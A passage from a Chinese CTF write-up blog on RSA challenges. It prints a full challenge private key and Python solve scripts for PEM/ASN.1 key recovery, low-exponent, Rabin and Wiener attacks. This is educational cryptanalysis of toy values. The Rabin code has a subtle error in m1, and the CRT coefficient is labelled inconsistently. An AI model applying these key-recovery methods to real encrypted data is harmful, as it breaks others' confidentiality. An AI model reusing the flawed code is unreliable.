    7c:74:8c:c2:ae:a0:e2:a9:f4:b0:61:3f:d8:a3:0a:
    8c:bd:89:18:7d:b4:7f:85
publicExponent: 65537 (0x10001)
privateExponent:
    2f:2e:7e:44:f6:82:a3:52:97:0a:87:62:61:f6:10:
    dc:68:14:75:9f:d8:9e:6c:ea:c9:e4:2d:39:f6:fd:
    d3:37:28:3f:6c:57:4f:94:79:e3:a4:4f:2a:0f:9b:
    4a:c0:9e:fa:25:b0:80:2f:a4:27:5a:01:c9:80:92:
    56:c6:af:c4:03:2f:fd:48:6f:9e:02:96:81:a3:de:
    12:6f:60:76:03:55:9c:78:37:fc:17:58:9d:91:75:
    0e:bd:4f:f7:91:df:f0:6f:0f:e0:2d:92:f2:6b:c5:
    82:14:5e:12:51:9c:74:f5:34:e8:32:a4:96:0c:42:
    48:e2:43:75:ee:95:39:01
prime1:
    00:9b:fd:4a:17:d2:6d:a3:0d:2b:7d:4e:92:0f:4b:
    48:8e:f0:14:ba:bb:8a:21:51:97:99:17:bd:22:8b:
    b1:80:77:1c:02:87:36:55:7a:fd:92:f5:4d:5d:a3:
    83:7e:f2:7f:d3:22:d9:fd:06:c7:90:15:5d:bc:22:
    ff:57:9f:f5:1d
prime2:
    00:b8:73:91:24:47:c5:40:c3:c9:6a:78:f2:f0:0a:
    40:89:8a:c5:ca:00:43:aa:3d:91:4e:89:20:82:21:
    59:d8:fb:92:78:92:08:99:89:2d:f7:ae:c9:16:c2:
    c6:00:20:11:d5:2a:25:d2:cb:ee:4d:76:f5:a4:e7:
    53:1e:62:2f:89
exponent1:
    62:64:db:e6:b8:e2:55:56:4a:57:69:47:32:84:7f:
    49:42:61:21:04:88:f5:c9:5c:c1:c1:ba:98:de:da:
    e1:38:c0:9f:4b:a0:d7:3c:94:54:ad:8c:d6:82:fc:
    c0:07:c0:df:72:7d:64:60:71:63:0e:47:29:14:3e:
    52:8c:60:75
exponent2:
    6d:c8:a3:47:c3:cb:fc:db:4b:63:aa:ef:75:bd:b4:
    61:e9:0e:06:48:17:fe:18:bd:06:d0:89:5f:ca:b7:
    ee:74:f5:dd:fb:95:50:c5:1c:6e:02:43:3f:df:d7:
    f7:b5:1e:c8:10:59:08:d9:46:52:27:0e:d8:02:b3:
    2f:2f:63:79
coefficient:
    00:99:51:93:1f:a0:d4:df:28:33:8c:2b:5d:97:8f:
    f6:76:1a:27:48:77:04:a2:f0:85:58:66:6e:0a:a0:
    63:60:4c:3a:20:66:00:96:93:a2:bf:f0:48:08:c5:
    eb:38:1b:1d:77:5f:b8:8f:a9:f5:79:dc:47:48:61:
    fd:ab:80:28:ba
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们可以看到，它解析出了这个一个RSA的私钥文件，里面包含&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;modulus - 模数 - n
publicExponent - 加密指数 - e
privateExponent - 解密指数 - d
prime1 - 素因子 - p
prime2 - 素因子 - q
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以发现这里面直接包含了我们涉及到的所有RSA参数，除了这些我们已经见过的参数之外，还包含一些其他参数，这些参数是用来进行快速解密的CRT参数，实际上他们分别是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;exponent1 - dp
exponent2 - dq
coefficient - invert(p, q)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这是一个非常完整的私钥，有时候提取出来的内容并不那么完整，例如只涉及其中的部分参数，此时这需要我们利用得到的参数进一步考察参数之前的关系，再使用我们之前所学习过的各类攻击手段对密文进行解密。
这里的输出实际上就是16进制值，你只需要把所有的 &lt;code&gt;:&lt;/code&gt;去掉并粘连为一行即可使用。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;对于密文的话，我们直接从文件读取然后使用 &lt;code&gt;bytes_to_long&lt;/code&gt;转为数字处理即可。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *
from gmpy2 import *

n = 0x70647879fa43aee8a5d3785754b7988d12b14b98cf39be21b5d90f3e3264e316cf99c3058b89480f2b46a0eda9bee6b4d753199671ef17bab4ec257aabe45e7eb6f668146597a0c9a05d0523e7511e8852a76eaa92e81d16afac7af522423aa00983110ce2d65099d37c748cc2aea0e2a9f4b0613fd8a30a8cbd89187db47f85
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;c = open(&apos;./enc&apos;, &apos;rb&apos;).read()
c = bytes_to_long(c)&lt;/p&gt;
&lt;p&gt;d = 0x2f2e7e44f682a352970a876261f610dc6814759fd89e6ceac9e42d39f6fdd337283f6c574f9479e3a44f2a0f9b4ac09efa25b0802fa4275a01c9809256c6afc4032ffd486f9e029681a3de126f607603559c7837fc17589d91750ebd4ff791dff06f0fe02d92f26bc582145e12519c74f534e832a4960c4248e24375ee953901&lt;/p&gt;
&lt;p&gt;print(long_to_bytes(pow(c, d, n)))&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;以上是手动提取字段的方案，实际上在 &lt;code&gt;Crypto&lt;/code&gt;包中已经包含了关于各类证书的解析，我们也可以使用exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *
from gmpy2 import *
from Crypto.PublicKey import RSA

rsa = RSA.importKey(open(&apos;key.pem&apos;, &apos;rb&apos;).read())

print(rsa.n, rsa.d, rsa.p)  # 提取具体值

c = open(&apos;./enc&apos;, &apos;rb&apos;).read()
c = bytes_to_long(c)
m = rsa._decrypt(c)

print(long_to_bytes(m))
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;关于 &lt;code&gt;openssl&lt;/code&gt;我们还可以使用它进行转换各类密钥格式，例如我们将密钥转换为 &lt;code&gt;DER&lt;/code&gt;格式
&lt;code&gt;openssl rsa -in key.pem -inform PEM -outform DER -out key.der&lt;/code&gt;
又或者从私钥生成公钥文件
&lt;code&gt;openssl rsa -in key.pem -inform PEM -pubout&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Wp-12&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;在本题中我们得到的是一个破损的证书文件，此时我们无法直接使用 &lt;code&gt;openssl&lt;/code&gt;提取出想要的信息，但是信息就在里面，所以我们要了解 &lt;code&gt;PEM&lt;/code&gt;的证书编码格式。
首先我们要知道PEM文件是按照ASN.1标准进行DER编码后再进行Base64编码得到的内容，所以PEM和DER本质是一家，只是在DER的基础上添加了Base64编码。
这里我们先以P11的证书为例来说明其格式，首先我们将证书解Base64后再转换为16进制输出&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from base64 import b64decode
import binascii

s = &apos;&apos;&apos;MIICWwIBAAKBgHBkeHn6Q67opdN4V1S3mI0SsUuYzzm+IbXZDz4yZOMWz5nDBYuJ
SA8rRqDtqb7mtNdTGZZx7xe6tOwleqvkXn629mgUZZegyaBdBSPnUR6IUqduqpLo
HRavrHr1IkI6oAmDEQzi1lCZ03x0jMKuoOKp9LBhP9ijCoy9iRh9tH+FAgMBAAEC
gYAvLn5E9oKjUpcKh2Jh9hDcaBR1n9iebOrJ5C059v3TNyg/bFdPlHnjpE8qD5tK
wJ76JbCAL6QnWgHJgJJWxq/EAy/9SG+eApaBo94Sb2B2A1WceDf8F1idkXUOvU/3
kd/wbw/gLZLya8WCFF4SUZx09TToMqSWDEJI4kN17pU5AQJBAJv9ShfSbaMNK31O
kg9LSI7wFLq7iiFRl5kXvSKLsYB3HAKHNlV6/ZL1TV2jg37yf9Mi2f0Gx5AVXbwi
/1ef9R0CQQC4c5EkR8VAw8lqePLwCkCJisXKAEOqPZFOiSCCIVnY+5J4kgiZiS33
rskWwsYAIBHVKiXSy+5NdvWk51MeYi+JAkBiZNvmuOJVVkpXaUcyhH9JQmEhBIj1
yVzBwbqY3trhOMCfS6DXPJRUrYzWgvzAB8Dfcn1kYHFjDkcpFD5SjGB1AkBtyKNH
w8v820tjqu91vbRh6Q4GSBf+GL0G0IlfyrfudPXd+5VQxRxuAkM/39f3tR7IEFkI
2UZSJw7YArMvL2N5AkEAmVGTH6DU3ygzjCtdl4/2dhonSHcEovCFWGZuCqBjYEw6
IGYAlpOiv/BICMXrOBsdd1+4j6n1edxHSGH9q4Aoug==&apos;&apos;&apos;

s = b64decode(s)

print(binascii.hexlify(s))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;3082025b02010002818070647879fa43aee8a5d3785754b7988d12b14b98cf39be21b5d90f3e3264e316cf99c3058b89480f2b46a0eda9bee6b4d753199671ef17bab4ec257aabe45e7eb6f668146597a0c9a05d0523e7511e8852a76eaa92e81d16afac7af522423aa00983110ce2d65099d37c748cc2aea0e2a9f4b0613fd8a30a8cbd89187db47f8502030100010281802f2e7e44f682a352970a876261f610dc6814759fd89e6ceac9e42d39f6fdd337283f6c574f9479e3a44f2a0f9b4ac09efa25b0802fa4275a01c9809256c6afc4032ffd486f9e029681a3de126f607603559c7837fc17589d91750ebd4ff791dff06f0fe02d92f26bc582145e12519c74f534e832a4960c4248e24375ee9539010241009bfd4a17d26da30d2b7d4e920f4b488ef014babb8a2151979917bd228bb180771c028736557afd92f54d5da3837ef27fd322d9fd06c790155dbc22ff579ff51d024100b873912447c540c3c96a78f2f00a40898ac5ca0043aa3d914e8920822159d8fb9278920899892df7aec916c2c6002011d52a25d2cbee4d76f5a4e7531e622f8902406264dbe6b8e255564a57694732847f494261210488f5c95cc1c1ba98dedae138c09f4ba0d73c9454ad8cd682fcc007c0df727d646071630e4729143e528c607502406dc8a347c3cbfcdb4b63aaef75bdb461e90e064817fe18bd06d0895fcab7ee74f5ddfb9550c51c6e02433fdfd7f7b51ec8105908d94652270ed802b32f2f63790241009951931fa0d4df28338c2b5d978ff6761a27487704a2f08558666e0aa063604c3a2066009693a2bff04808c5eb381b1d775fb88fa9f579dc474861fdab8028ba
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这便是原始的 &lt;code&gt;ASN.1&lt;/code&gt;格式内容，首先我们要知道 &lt;code&gt;ASN.1&lt;/code&gt;是一种用来描述数据结构的抽象语法，它并不是只用来存储密钥，在 &lt;code&gt;ASN.1&lt;/code&gt;中你可以自定义你的数据类型和数值约束等条件，你可以把它理解为一种序列化数据的格式。其中数据格式如下&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;数据&lt;/th&gt;
&lt;th&gt;长度&lt;/th&gt;
&lt;th&gt;名称&lt;/th&gt;
&lt;th&gt;含义&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;30&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;标记符&lt;/td&gt;
&lt;td&gt;代表ASN.1结构的开始&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;82&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;长度类型&lt;/td&gt;
&lt;td&gt;代表后面跟着一个双字节长度&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;025b&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;长度&lt;/td&gt;
&lt;td&gt;代表后续内容的总长度为603字节&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;02&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;类型&lt;/td&gt;
&lt;td&gt;代表整型&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;01&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;长度&lt;/td&gt;
&lt;td&gt;代表1字节&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;00&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;值&lt;/td&gt;
&lt;td&gt;代表整数0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;02&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;类型&lt;/td&gt;
&lt;td&gt;代表整型&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;81&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;长度类型&lt;/td&gt;
&lt;td&gt;代表后面跟着一个单字节长度&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;80&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;长度&lt;/td&gt;
&lt;td&gt;代表数据长度为128字节&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;td&gt;128&lt;/td&gt;
&lt;td&gt;值&lt;/td&gt;
&lt;td&gt;数据值1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;...&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;以此往复，所以除了最开始的标识符外，后续的内容都是由&lt;/p&gt;
&lt;p&gt;&lt;code&gt;类型&lt;/code&gt; + &lt;code&gt;长度&lt;/code&gt; + &lt;code&gt;值&lt;/code&gt; 构成的，而这些值根据他们出现的位置不同有着不同的含义，例如最开始出现的值 &lt;code&gt;0&lt;/code&gt;在PEM中代表版本号信息。&lt;/p&gt;
&lt;p&gt;随后的数据值1代表模数。完整顺序如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;版本
模数 - n
加密指数 - e
解密指数 - d
素因子1 - p
素因子2 - q
指数1 - dp
指数2 - dq
系数 - invert(q, p)
其他额外信息
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在了解了该格式后我们就能对上面的16进制数据直接分段了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;标识头 30
总长度 82 025b
版本信息 0201 00
n 028180 70647879fa43aee8a5d3785754b7988d12b14b98cf39be21b5d90f3e3264e316cf99c3058b89480f2b46a0eda9bee6b4d753199671ef17bab4ec257aabe45e7eb6f668146597a0c9a05d0523e7511e8852a76eaa92e81d16afac7af522423aa00983110ce2d65099d37c748cc2aea0e2a9f4b0613fd8a30a8cbd89187db47f85
e 0203 010001
d 028180 2f2e7e44f682a352970a876261f610dc6814759fd89e6ceac9e42d39f6fdd337283f6c574f9479e3a44f2a0f9b4ac09efa25b0802fa4275a01c9809256c6afc4032ffd486f9e029681a3de126f607603559c7837fc17589d91750ebd4ff791dff06f0fe02d92f26bc582145e12519c74f534e832a4960c4248e24375ee953901
p 0241 009bfd4a17d26da30d2b7d4e920f4b488ef014babb8a2151979917bd228bb180771c028736557afd92f54d5da3837ef27fd322d9fd06c790155dbc22ff579ff51d
q 0241 00b873912447c540c3c96a78f2f00a40898ac5ca0043aa3d914e8920822159d8fb9278920899892df7aec916c2c6002011d52a25d2cbee4d76f5a4e7531e622f89
dp 0240 6264dbe6b8e255564a57694732847f494261210488f5c95cc1c1ba98dedae138c09f4ba0d73c9454ad8cd682fcc007c0df727d646071630e4729143e528c6075
dq 0240 6dc8a347c3cbfcdb4b63aaef75bdb461e90e064817fe18bd06d0895fcab7ee74f5ddfb9550c51c6e02433fdfd7f7b51ec8105908d94652270ed802b32f2f6379
inv(q,p) 0241 009951931fa0d4df28338c2b5d978ff6761a27487704a2f08558666e0aa063604c3a2066009693a2bff04808c5eb381b1d775fb88fa9f579dc474861fdab8028ba
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;现在回到本题我们也先进行base64解码得到，因为这里是密钥的后半截，所以我们不能从前往后直接解析，需要先找到一个定位锚点，我们可以按照 &lt;code&gt;02&lt;/code&gt;先给数据初步分段&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;3a1d7b10ba7f9f652b9ea83f81a15b2961e00cd63374f346a8d78f81dad1b697f3abe8eced0
02260d89f2d12bc9395c233012b6f744a380d1d0aed78c9fb52a28d95f858c630bd3b164e857b406f541311426d64d5f0b6e0d1
02818100befff9907f75bb7ad561131b5c76ae137bd67ae0e32b90f92b997b044277cab3dfeb84f255138127e1a4e53751a68db743a00ed8acc58f33107fe35db6b4813bc048db48bd530bcb35fba434dbb70e27d78aede2de0d4745df35a245417b8c74a31a7b55a77db45ebd6ed1dc4b3dcaa435a79dbf7240d96775372e64b58b0803
02818077a554614c111b51dea903a8e8222be795b45948805fc6f5ea67e60ad493f117b3033ea2ee84d87c0a29a87ea38908a93e313e08fe83dc91ba8695ba969d40f243addff620ee40bda8562ff5389661efd8b9d5976bacf2bc9a1cfc54d7704c7098441b1e7253760fc7dbcef7a417082e7492e8e0808f34d830c772e800714f41
0281801c1005fdea0c454075eb6e603dc49e2cf4abfd9fdf20be8b2d91be5650e1c2e18ccbd0dbbe0e4092b87f7ec212f812a8538247cc240e5eccd4e6c564367cece3f78b7cd482249a7dffef7a1fde0c56431a532a4283f7957a39a26ab61c39e7d81742c3ce40eea23aad40840b06ef0c3ff6362b623e8a32a715bcc6cf3b31333b
028181008488efbea72e9abac7f71085b86e9071bece170f8c92a387aebdcc89f8915c33739609a73cacd5559b3a56fd59082ed311bab49f42ea0ba6be5e253453db0fc8b5b6aab458163b8a013121fd5c554dcc51d81c57e60f59d9d7f8f4d45fab24365da039ed8fb5401cfaff0c8aae2191ae8bd742351d11034ff0f0c32fb0586810
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不一定数据中出现了 &lt;code&gt;02&lt;/code&gt;就代表是数据开始的地方，因为也有可能数据中也包含02，我们要一一检验 &lt;code&gt;02&lt;/code&gt;后面的长度标识定义的长度时候符合后续数据的长度，我们会发现第一块后面的长度标识以及长度都不符合正常的定义，所以其实第一块这里的02是上一块数据中的内容而非新数据的开始标识。最终我们可以得到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;3a1d7b10ba7f9f652b9ea83f81a15b2961e00cd63374f346a8d78f81dad1b697f3abe8eced002260d89f2d12bc9395c233012b6f744a380d1d0aed78c9fb52a28d95f858c630bd3b164e857b406f541311426d64d5f0b6e0d1
q 028181 00befff9907f75bb7ad561131b5c76ae137bd67ae0e32b90f92b997b044277cab3dfeb84f255138127e1a4e53751a68db743a00ed8acc58f33107fe35db6b4813bc048db48bd530bcb35fba434dbb70e27d78aede2de0d4745df35a245417b8c74a31a7b55a77db45ebd6ed1dc4b3dcaa435a79dbf7240d96775372e64b58b0803
dp 028180 77a554614c111b51dea903a8e8222be795b45948805fc6f5ea67e60ad493f117b3033ea2ee84d87c0a29a87ea38908a93e313e08fe83dc91ba8695ba969d40f243addff620ee40bda8562ff5389661efd8b9d5976bacf2bc9a1cfc54d7704c7098441b1e7253760fc7dbcef7a417082e7492e8e0808f34d830c772e800714f41
dq 028180 1c1005fdea0c454075eb6e603dc49e2cf4abfd9fdf20be8b2d91be5650e1c2e18ccbd0dbbe0e4092b87f7ec212f812a8538247cc240e5eccd4e6c564367cece3f78b7cd482249a7dffef7a1fde0c56431a532a4283f7957a39a26ab61c39e7d81742c3ce40eea23aad40840b06ef0c3ff6362b623e8a32a715bcc6cf3b31333b
inv(q,p) 028181 008488efbea72e9abac7f71085b86e9071bece170f8c92a387aebdcc89f8915c33739609a73cacd5559b3a56fd59082ed311bab49f42ea0ba6be5e253453db0fc8b5b6aab458163b8a013121fd5c554dcc51d81c57e60f59d9d7f8f4d45fab24365da039ed8fb5401cfaff0c8aae2191ae8bd742351d11034ff0f0c32fb0586810
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以我们发现有用的数据为 &lt;code&gt;q,dp,dq,inv(q,p)&lt;/code&gt;，显然此时我们连 &lt;code&gt;n&lt;/code&gt;都没有，但是我们有 &lt;code&gt;dq&lt;/code&gt;，我们知道它满足
$$
c^{d_q}\equiv m^{ed_q} \equiv m_q\pmod{q}
$$&lt;/p&gt;
&lt;p&gt;如果我们的$ m&amp;lt;q $，则此时得到的解$ m_q $就等于$ m $。最终exp如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *

q = 0x00befff9907f75bb7ad561131b5c76ae137bd67ae0e32b90f92b997b044277cab3dfeb84f255138127e1a4e53751a68db743a00ed8acc58f33107fe35db6b4813bc048db48bd530bcb35fba434dbb70e27d78aede2de0d4745df35a245417b8c74a31a7b55a77db45ebd6ed1dc4b3dcaa435a79dbf7240d96775372e64b58b0803
dq = 0x1c1005fdea0c454075eb6e603dc49e2cf4abfd9fdf20be8b2d91be5650e1c2e18ccbd0dbbe0e4092b87f7ec212f812a8538247cc240e5eccd4e6c564367cece3f78b7cd482249a7dffef7a1fde0c56431a532a4283f7957a39a26ab61c39e7d81742c3ce40eea23aad40840b06ef0c3ff6362b623e8a32a715bcc6cf3b31333b
c = 2329206064672111950904450292941421573350591294207157652026787098178545948258554492347649016030892000747909819064473414536692222493030122267884839986067073054508582403564557167583565364976046083954888777809177108315052118912603290095925912298584322873410379937455462434313487981715516761071523410121549134193124709612876311518391130974466069686830456036397449773159386026998482557500868323733155606973727191287617806211911722356975478414165867941665666556476756617951672736466672410799762479373101996896644454778482896784598378016390592459460753042458284030795009957030383305268628413551730442224404807955926606496353

m = pow(c, dq, q)

print(long_to_bytes(m))
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;所以当得到破损的证书后，我们也能够通过证书格式得到其中的有效信息，再加上其他攻击方法便可以对消息进行解密，当然这里我们得到的是后半截所以可以直接知道每个位置数据代表什么，如果是给出中间部分的证书，此时我们则需要通过逐一分析来进行检验，例如如果数是一个素数，则可能是素因子，如果相邻两个数差的非常大，则可能是 &lt;code&gt;e&lt;/code&gt;和 &lt;code&gt;d&lt;/code&gt;，最后我们总能找到有效信息。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>NSS_RSA_2</title><link>https://sinqwq.top/posts/nss_rsa_2/</link><guid isPermaLink="true">https://sinqwq.top/posts/nss_rsa_2/</guid><description>NSS_RSA_2</description><pubDate>Tue, 02 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;wp-1&lt;/h1&gt;
&lt;p&gt;本题为RSA一种变式情况，在本题中，$ n=p^3q $
是否在本题中有&lt;/p&gt;
&lt;p&gt;$$
\varphi(n) = \varphi(p^3)\varphi(q) = (p-1)^3(q-1)
$$&lt;/p&gt;
&lt;p&gt;呢？答案是&lt;strong&gt;否定&lt;/strong&gt;的，这个式子只对了一半，$ \varphi(n) = \varphi(p^3)\varphi(q) $正确，但$ \varphi(p^3) $应该为$ p^2(p-1) $&lt;/p&gt;
&lt;p&gt;可尝试自行对这个公式进行推到，详见课件中对欧拉函数的介绍&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *

p = 80505091208742938705306670241621545375764148093711243653439069254008824979403
q = 67599990875658931406915486208971556223245451500927259766683936131876689508521
e = 65537
c = 7958690969908064264211283192959937430539613460471121984649054121171267262097603091410178042319139582772142226087020110084551158367679146616732446561228522673699836019156243452069036383047309578614662564794584927846163157472211089368697387945469398750955336949678910159585015004994620777231073804301249774041

n = (p**3)*q
phi = (p**2)*(p-1)*(q-1)
d = inverse(e, phi)
m = pow(c, d, n)

print(long_to_bytes(m))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不过至于本题为何要添加上大量的字符1作为填充内容，这个问题待到P9时我们便会知晓。&lt;/p&gt;
&lt;h1&gt;wp-2&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;本题为&lt;strong&gt;低加密指数攻击&lt;/strong&gt;例题
和上一题一样，可以发现题目中的n很大，此时我们考虑使用暴力的方式分解n几乎是不可能的，但我们直接使用上题的方式开放并不行，则说明$ m^e &amp;gt; n $，不能直接开方。
我们有
$$
c \equiv m^e \pmod{n}
$$&lt;/p&gt;
&lt;p&gt;消去取模，有
$$
m^e = c + k\cdot n
$$&lt;/p&gt;
&lt;p&gt;因为本题中加密指数e很小，我们可以考虑$ m^e $的值并不是特别大，则我们可以通过遍历 &lt;code&gt;k&lt;/code&gt;的方式将取模后丢失的信息找回来，遍历到何时停止呢，当$ c+kn $是一个完全e次方数时，则说明我们得到了正确的答案，此步骤我们可以用上一题中的 &lt;code&gt;iroot&lt;/code&gt;函数完成。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *
from gmpy2 import *
n = 111573371787314339229652810703380127177507745009618224416171957526984270337589283887959174610818933914845556276472159360153787395638087723501889651641965684241070152541291185349571453536221312112508437223801640552330390095266644485311958102687735113533739324296417077804219395793942670324182191309872918900717
e = 3
c = 90782646242308381145716338972639920044710403094882163620436540965475107006005657722222634294458956650085252212452241377251397323707019480880284004845674260662647720809672266571040936376737882878688872281858048646517100139303896804340224961592424635124272549514473232731744884837572128596217771005209683966262

for k in range(100000):
    cc = c + k*n
    res = iroot(cc, e)
    if res[1]:
        m = res[0]
        break

print(long_to_bytes(m))
print(&apos;k:&apos;,k) # 11
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;我们最后打印k会发现值为11，也印证了我们之前所说的$ m^e $不会特别大，我们可以在一个比较小的范围（10w，100w，1000w对于计算机来说都算比较小）进行爆破k的值得到正确的答案。当发现题目中e较小时，可以考虑此种攻击。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;wp-3&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;本题为&lt;strong&gt;Rabin算法&lt;/strong&gt;例题
和上题一样，本题e非常小，有$ e=2 $，但我们会发现$ c $不是一个完全平方数，则说明不能用低加密指数攻击的方法解决。
同时我们也发现本题e和$ phi $不互素，因为$ e $和$ phi $都是偶数，故我们也得不到RSA的私钥。实际上，除了RSA算法外，还有很多的非对称加密方案，例如在本题中实际上使用了Rabing算法进行加密，只是它类似于RSA，故在CTF中我们将其划分到RSA攻击范畴中，在后续学习中我们还会遇到很对实际并不是RSA但类似RSA的加密算法。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;在Rabin算法中加密流程为&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;取两个大素数$ (p, q) $满足$ p\equiv q \equiv 3\pmod{4} $，有$ n=pq $（这也是为什么本题有个断言 &lt;code&gt;p%4 == 3 and q%4 == 3&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;加密过程为&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;$$
c \equiv m^2\pmod{n}
$$&lt;/p&gt;
&lt;p&gt;我们会发现其实这就是本题的加密过程，同时它也等同于$ e=2 $时的RSA加密过程。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;对于Rabin的解密，稍微复杂一点，这里我们需要了解 &lt;code&gt;二次剩余&lt;/code&gt;和 &lt;code&gt;欧拉准则&lt;/code&gt;，关于Rabin算法详细推导可见文章 &lt;a href=&quot;https://www.nssctf.cn/note/set/7&quot;&gt;Rabin攻击&lt;/a&gt;
由此文我们可知Rabin算法适用于这种$ e=2 $，$ p, q $已知且满足 &lt;code&gt;%4=3&lt;/code&gt;的题目中。此时我们可以通过Rabin算法解得四个明文，再一一测试即可得到最终正确得明文。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *
from gmpy2 import *

p = 67711062621608175960173275013534737889372437946924512522469843485353704013203
q = 91200252033239924238625443698357031288749612243099728355449192607988117291739
e = 2
c = 5251890478898826530186837207902117236305266861227697352434308106457554098811792713226801824100629792962861125855696719512180887415808454466978721678349614

def rabin_attack(c, n, p, q):
    c1 = powmod(c, (p+1)//4, p)
    c2 = powmod(c, (q+1)//4, q)
    cp1 = p - c1
    cp2 = q - c2

    t1 = invert(p, q)
    t2 = invert(q, p)

    m1 = (q*c1*c2 + p*c2*t1) % n
    m2 = (q*c1*t2 + p*cp2*t1) % n
    m3 = (q*cp1*t2 + p*c2*t1) % n
    m4 = (q*cp1*t2 + p*cp2*t1) % n

    return m1, m2, m3, m4

ms = rabin_attack(c, p*q, p, q)

for m in ms:
    print(long_to_bytes(m))
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;wp-4&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;本题为&lt;strong&gt;Wiener攻击&lt;/strong&gt;例题
我们会发现本题生成密钥的流程有些不同寻常，一般我们都是选定$ e $，再通过求接逆元的方式得到$ d $，而本题则恰恰相反，先选定$ d $再来获取$ e $，那么这种方式会导致何种问题呢？
我们知道有
$$
ed \equiv 1 \pmod{\varphi(n)}
$$&lt;/p&gt;
&lt;p&gt;即$ ed - 1 = k\cdot \varphi(n) $，我们两遍同时除以$ d\varphi(n) $则有
$$
\frac{e}{\varphi(n)} - \frac{1}{d\varphi(n)} = \frac{k}{d}
$$&lt;/p&gt;
&lt;p&gt;此时我们引入近视的概念，因为$ \varphi(n) = (p-1)(q-1) = n - p - q +1 $，所以其实$ \varphi(n)\approx n $，同理$ 1/(d\varphi(n)) $是一个非常小的数，我们忽略不记，则有
$$
\frac{e}{n} \approx \frac{k}{d}
$$&lt;/p&gt;
&lt;p&gt;那么如果我们能够找到一种办法使得$ e/n $转化为$ k/d $则便能够得到私钥。Wiener便证明了当
$$
d &amp;lt; \frac{1}{3}n^{\frac{1}{4}}
